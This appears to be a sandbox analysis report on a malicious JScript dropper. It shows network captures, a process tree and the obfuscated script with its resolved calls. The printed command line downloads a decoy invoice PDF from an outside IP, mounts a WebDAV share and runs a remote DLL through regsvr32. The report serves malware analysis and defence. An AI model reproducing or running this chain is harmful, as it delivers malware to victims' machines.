Jan 10, 2025 21:19:31.874660969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:19:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:19:31.874706030 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:19:31.874759912 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:19:31.874772072 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:19:31.874783039 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 21:19:31.874804020 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 21:19:31.874816895 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 21:19:31.874830008 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 21:19:31.874842882 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 21:19:31.874855042 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 21:19:31.879719019 CET	152	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49794	193.143.1.205	8888	8156	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:19:35.116724968 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:19:35.914298058 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:19:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	15:19:25
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js"
Imagebase:	0x7ff7b69b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:19:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Imagebase:	0x7ff771540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:19:26
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:19:26
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:19:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:19:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff771540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:19:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff674f20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:19:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:19:36
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:19:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,2172520176096589813,9762019331297219805,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jpcfelmuf() {	jpcfelmuf() ➔ undefined
1	eajhcj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bdyduhv = this[axere + pskzygvnc + tudebmqgn + hbiqjzrcv + egpyqn + uymie + vdtktjvr + lheovvld] ( this[fvudt + icgvfoyg + hsutrzfq + tudebmqgn + danqcm + axere + lheovvld][icomcnoel + tudebmqgn + egpyqn + pskzygvnc + lheovvld + egpyqn + cbvtjz + trkvpkr + svztpfupx + egpyqn + hsutrzfq + lheovvld] ( fvudt + icgvfoyg + hsutrzfq + tudebmqgn + danqcm + axere + lheovvld + jwdhbaiy + icgvfoyg + mpmmvf + egpyqn + sxrzp + sxrzp ) [ufuswrmc + egpyqn + mloybmwy + ufuswrmc + egpyqn + pskzygvnc + iizlu] ( ffhssjtcj + qdxibnd + crzifqk + ydmneyvs + oxptgt + icomcnoel + getecjoa + ufuswrmc + ufuswrmc + crzifqk + wudnodn + wjqzgrewh + oxptgt + getecjoa + icgvfoyg + crzifqk + ufuswrmc + guxtclo + icomcnoel + gfooh + vdtktjvr + lheovvld + tudebmqgn + gfooh + sxrzp + zdwbulwm + zsppghqwu + pskzygvnc + vdtktjvr + egpyqn + sxrzp + guxtclo + uymie + vdtktjvr + lheovvld + egpyqn + tudebmqgn + vdtktjvr + pskzygvnc + lheovvld + danqcm + gfooh + vdtktjvr + pskzygvnc + sxrzp + guxtclo + cqevp + gfooh + hsutrzfq + pskzygvnc + sxrzp + egpyqn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dfayyg = 0 ; dfayyg < eajhcj[sxrzp + egpyqn + vdtktjvr + mloybmwy + lheovvld + mpmmvf] ; ++ dfayyg )
4	{
5	if ( bdyduhv == eajhcj[dfayyg] )
6	{
7	bdyduhv = true;
8	break ;
9	}
10	}
11	if ( bdyduhv !== true )
12	this[fvudt + icgvfoyg + hsutrzfq + tudebmqgn + danqcm + axere + lheovvld][rzsklx + wwfqc + danqcm + lheovvld] ( );
13	this[fvudt + icgvfoyg + hsutrzfq + tudebmqgn + danqcm + axere + lheovvld][icomcnoel + tudebmqgn + egpyqn + pskzygvnc + lheovvld + egpyqn + cbvtjz + trkvpkr + svztpfupx + egpyqn + hsutrzfq + lheovvld] ( fvudt + icgvfoyg + hsutrzfq + tudebmqgn + danqcm + axere + lheovvld + jwdhbaiy + icgvfoyg + mpmmvf + egpyqn + sxrzp + sxrzp ) [tudebmqgn + wwfqc + vdtktjvr] ( hsutrzfq + udwsabtb + iizlu + zdwbulwm + bsjjks + hsutrzfq + zdwbulwm + axere + gfooh + rzcwzmhqg + egpyqn + tudebmqgn + hbiqjzrcv + mpmmvf + egpyqn + sxrzp + sxrzp + jwdhbaiy + egpyqn + yatodlao + egpyqn + zdwbulwm + moxjrje + icomcnoel + gfooh + udwsabtb + udwsabtb + pskzygvnc + vdtktjvr + iizlu + zdwbulwm + emteolyx + uymie + vdtktjvr + nseui + gfooh + cbvirar + egpyqn + moxjrje + fvudt + egpyqn + trkvpkr + ufuswrmc + egpyqn + laknoysm + wwfqc + egpyqn + hbiqjzrcv + lheovvld + zdwbulwm + moxjrje + cbvtjz + wwfqc + lheovvld + rxbpjfrip + danqcm + sxrzp + egpyqn + zdwbulwm + owzuvkjs + lheovvld + egpyqn + udwsabtb + axere + owzuvkjs + guxtclo + danqcm + vdtktjvr + nseui + gfooh + danqcm + hsutrzfq + egpyqn + jwdhbaiy + axere + iizlu + xxhybw + zdwbulwm + mpmmvf + lheovvld + lheovvld + axere + hklxggm + bsjjks + bsjjks + pjrmoci + pzhictkq + sgcgfowtb + jwdhbaiy + pjrmoci + vdbfismcm + sgcgfowtb + jwdhbaiy + pjrmoci + jwdhbaiy + ggfpnk + pmzoxbi + gglmkgk + bsjjks + danqcm + vdtktjvr + nseui + gfooh + danqcm + hsutrzfq + egpyqn + jwdhbaiy + axere + mpmmvf + axere + emteolyx + rpnqrtc + rpnqrtc + hbiqjzrcv + lheovvld + pskzygvnc + tudebmqgn + lheovvld + zdwbulwm + owzuvkjs + lheovvld + egpyqn + udwsabtb + axere + owzuvkjs + guxtclo + danqcm + vdtktjvr + nseui + gfooh + danqcm + hsutrzfq + egpyqn + jwdhbaiy + axere + iizlu + xxhybw + rpnqrtc + rpnqrtc + hsutrzfq + udwsabtb + iizlu + zdwbulwm + bsjjks + hsutrzfq + zdwbulwm + vdtktjvr + egpyqn + lheovvld + zdwbulwm + wwfqc + hbiqjzrcv + egpyqn + zdwbulwm + guxtclo + guxtclo + pjrmoci + pzhictkq + sgcgfowtb + jwdhbaiy + pjrmoci + vdbfismcm + sgcgfowtb + jwdhbaiy + pjrmoci + jwdhbaiy + ggfpnk + pmzoxbi + gglmkgk + tepjfxbhh + awcimm + awcimm + awcimm + awcimm + guxtclo + iizlu + pskzygvnc + nseui + rzcwzmhqg + rzcwzmhqg + rzcwzmhqg + tudebmqgn + gfooh + gfooh + lheovvld + guxtclo + rpnqrtc + rpnqrtc + hsutrzfq + udwsabtb + iizlu + zdwbulwm + bsjjks + hsutrzfq + zdwbulwm + tudebmqgn + egpyqn + mloybmwy + hbiqjzrcv + nseui + tudebmqgn + sgcgfowtb + ggfpnk + zdwbulwm + bsjjks + hbiqjzrcv + zdwbulwm + guxtclo + guxtclo + pjrmoci + pzhictkq + sgcgfowtb + jwdhbaiy + pjrmoci + vdbfismcm + sgcgfowtb + jwdhbaiy + pjrmoci + jwdhbaiy + ggfpnk + pmzoxbi + gglmkgk + tepjfxbhh + awcimm + awcimm + awcimm + awcimm + guxtclo + iizlu + pskzygvnc + nseui + rzcwzmhqg + rzcwzmhqg + rzcwzmhqg + tudebmqgn + gfooh + gfooh + lheovvld + guxtclo + ggfpnk + pzhictkq + vdbfismcm + nnrmmq + vdbfismcm + pjrmoci + ggfpnk + vdbfismcm + sgcgfowtb + vdbfismcm + pzhictkq + nnrmmq + awcimm + pjrmoci + jwdhbaiy + iizlu + sxrzp + sxrzp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll",0,false) ➔ 0
14	}
15	nnrmmq = "Z";
16	nnrmmq = "Y";
17	nnrmmq = "n";
18	nnrmmq = "g";
19	nnrmmq = "y";
20	nnrmmq = "J";
21	nnrmmq = "l";
22	nnrmmq = "E";
23	nnrmmq = "L";
24	nnrmmq = "m";
25	nnrmmq = "T";
26	nnrmmq = "u";
27	nnrmmq = "R";
28	nnrmmq = "t";
29	nnrmmq = "G";
30	nnrmmq = "g";
31	nnrmmq = "6";
32	wwfqc = "P";
33	wwfqc = "V";
34	wwfqc = "g";
35	wwfqc = "Y";
36	wwfqc = "K";
37	wwfqc = "n";
38	wwfqc = "L";
39	wwfqc = "y";
40	wwfqc = "Y";
41	wwfqc = "I";
42	wwfqc = "N";
43	wwfqc = "h";
44	wwfqc = "q";
45	wwfqc = "B";
46	wwfqc = "G";
47	wwfqc = "n";
48	wwfqc = "M";
49	wwfqc = "j";
50	wwfqc = "Z";
51	wwfqc = "x";
52	wwfqc = "F";
53	wwfqc = "s";
54	wwfqc = "N";
55	wwfqc = "F";
56	wwfqc = "S";
57	wwfqc = "f";
58	wwfqc = "Y";
59	wwfqc = "b";
60	wwfqc = "u";
61	wwfqc = "x";
62	wwfqc = "b";
63	wwfqc = "D";
64	wwfqc = "v";
65	wwfqc = "l";
66	wwfqc = "u";
67	gfooh = "l";
68	gfooh = "O";
69	gfooh = "J";
70	gfooh = "i";
71	gfooh = "L";
72	gfooh = "w";
73	gfooh = "E";
74	gfooh = "k";
75	gfooh = "C";
76	gfooh = "W";
77	gfooh = "E";
78	gfooh = "b";
79	gfooh = "F";
80	gfooh = "U";
81	gfooh = "z";
82	gfooh = "m";
83	gfooh = "Z";
84	gfooh = "K";
85	gfooh = "E";
86	gfooh = "t";
87	gfooh = "l";
88	gfooh = "W";
89	gfooh = "N";
90	gfooh = "Y";
91	gfooh = "Z";
92	gfooh = "A";
93	gfooh = "C";
94	gfooh = "o";
95	mpmmvf = "v";
96	mpmmvf = "n";
97	mpmmvf = "a";
98	mpmmvf = "v";
99	mpmmvf = "m";
100	mpmmvf = "q";
101	mpmmvf = "D";
102	mpmmvf = "j";
103	mpmmvf = "m";
104	mpmmvf = "u";
105	mpmmvf = "P";
106	mpmmvf = "L";
107	mpmmvf = "F";
108	mpmmvf = "d";
109	mpmmvf = "a";
110	mpmmvf = "F";
111	mpmmvf = "S";
112	mpmmvf = "Y";
113	mpmmvf = "X";
114	mpmmvf = "P";
115	mpmmvf = "t";
116	mpmmvf = "Z";
117	mpmmvf = "h";
118	mpmmvf = "Y";
119	mpmmvf = "T";
120	mpmmvf = "t";
121	mpmmvf = "D";
122	mpmmvf = "w";
123	mpmmvf = "y";
124	mpmmvf = "B";
125	mpmmvf = "e";
126	mpmmvf = "L";
127	mpmmvf = "k";
128	mpmmvf = "d";
129	mpmmvf = "S";
130	mpmmvf = "S";
131	mpmmvf = "S";
132	mpmmvf = "o";
133	mpmmvf = "T";
134	mpmmvf = "j";
135	mpmmvf = "m";
136	mpmmvf = "C";
137	mpmmvf = "h";
138	emteolyx = "E";
139	emteolyx = "C";
140	emteolyx = "e";
141	emteolyx = "V";
142	emteolyx = "g";
143	emteolyx = "G";
144	emteolyx = "z";
145	emteolyx = "b";
146	emteolyx = "l";
147	emteolyx = "c";
148	emteolyx = "a";
149	emteolyx = "\"";
150	udwsabtb = "V";
151	udwsabtb = "q";
152	udwsabtb = "T";
153	udwsabtb = "e";
154	udwsabtb = "d";
155	udwsabtb = "k";
156	udwsabtb = "q";
157	udwsabtb = "F";
158	udwsabtb = "m";
159	udwsabtb = "p";
160	udwsabtb = "v";
161	udwsabtb = "X";
162	udwsabtb = "A";
163	udwsabtb = "t";
164	udwsabtb = "m";
165	iizlu = "d";
166	wudnodn = "q";
167	wudnodn = "z";
168	wudnodn = "S";
169	wudnodn = "m";
170	wudnodn = "Z";
171	wudnodn = "P";
172	wudnodn = "E";
173	wudnodn = "e";
174	wudnodn = "l";
175	wudnodn = "m";
176	wudnodn = "T";
177	wudnodn = "m";
178	wudnodn = "S";
179	wudnodn = "t";
180	wudnodn = "b";
181	wudnodn = "G";
182	wudnodn = "K";
183	wudnodn = "e";
184	wudnodn = "X";
185	wudnodn = "g";
186	wudnodn = "A";
187	wudnodn = "j";
188	wudnodn = "f";
189	wudnodn = "k";
190	wudnodn = "A";
191	wudnodn = "S";
192	wudnodn = "N";
193	zdwbulwm = "n";
194	zdwbulwm = "P";
195	zdwbulwm = "w";
196	zdwbulwm = "v";
197	zdwbulwm = "I";
198	zdwbulwm = " ";
199	ufuswrmc = "W";
200	ufuswrmc = "P";
201	ufuswrmc = "Y";
202	ufuswrmc = "W";
203	ufuswrmc = "S";
204	ufuswrmc = "Q";
205	ufuswrmc = "Z";
206	ufuswrmc = "K";
207	ufuswrmc = "U";
208	ufuswrmc = "q";
209	ufuswrmc = "j";
210	ufuswrmc = "B";
211	ufuswrmc = "N";
212	ufuswrmc = "Q";
213	ufuswrmc = "K";
214	ufuswrmc = "F";
215	ufuswrmc = "M";
216	ufuswrmc = "H";
217	ufuswrmc = "C";
218	ufuswrmc = "D";
219	ufuswrmc = "a";
220	ufuswrmc = "d";
221	ufuswrmc = "T";
222	ufuswrmc = "i";
223	ufuswrmc = "Q";
224	ufuswrmc = "y";
225	ufuswrmc = "z";
226	ufuswrmc = "T";
227	ufuswrmc = "v";
228	ufuswrmc = "R";
229	crzifqk = "x";
230	crzifqk = "q";
231	crzifqk = "a";
232	crzifqk = "K";
233	crzifqk = "y";
234	crzifqk = "E";
235	lheovvld = "B";
236	lheovvld = "E";
237	lheovvld = "b";
238	lheovvld = "d";
239	lheovvld = "J";
240	lheovvld = "Q";
241	lheovvld = "o";
242	lheovvld = "X";
243	lheovvld = "d";
244	lheovvld = "E";
245	lheovvld = "w";
246	lheovvld = "R";
247	lheovvld = "G";
248	lheovvld = "v";
249	lheovvld = "l";
250	lheovvld = "t";
251	lheovvld = "E";
252	lheovvld = "S";
253	lheovvld = "B";
254	lheovvld = "t";
255	lheovvld = "O";
256	lheovvld = "E";
257	lheovvld = "q";
258	lheovvld = "J";
259	lheovvld = "V";
260	lheovvld = "t";
261	yatodlao = "d";
262	yatodlao = "f";
263	yatodlao = "I";
264	yatodlao = "r";
265	yatodlao = "w";
266	yatodlao = "U";
267	yatodlao = "B";
268	yatodlao = "e";
269	yatodlao = "y";
270	yatodlao = "z";
271	yatodlao = "n";
272	yatodlao = "J";
273	yatodlao = "Q";
274	yatodlao = "G";
275	yatodlao = "c";
276	yatodlao = "h";
277	yatodlao = "H";
278	yatodlao = "T";
279	yatodlao = "p";
280	yatodlao = "J";
281	yatodlao = "d";
282	yatodlao = "o";
283	yatodlao = "t";
284	yatodlao = "B";
285	yatodlao = "x";
286	bsjjks = "n";
287	bsjjks = "k";
288	bsjjks = "f";
289	bsjjks = "l";
290	bsjjks = "x";
291	bsjjks = "L";
292	bsjjks = "Y";
293	bsjjks = "l";
294	bsjjks = "S";
295	bsjjks = "Z";
296	bsjjks = "n";
297	bsjjks = "G";
298	bsjjks = "r";
299	bsjjks = "T";
300	bsjjks = "g";
301	bsjjks = "S";
302	bsjjks = "B";
303	bsjjks = "C";
304	bsjjks = "D";
305	bsjjks = "F";
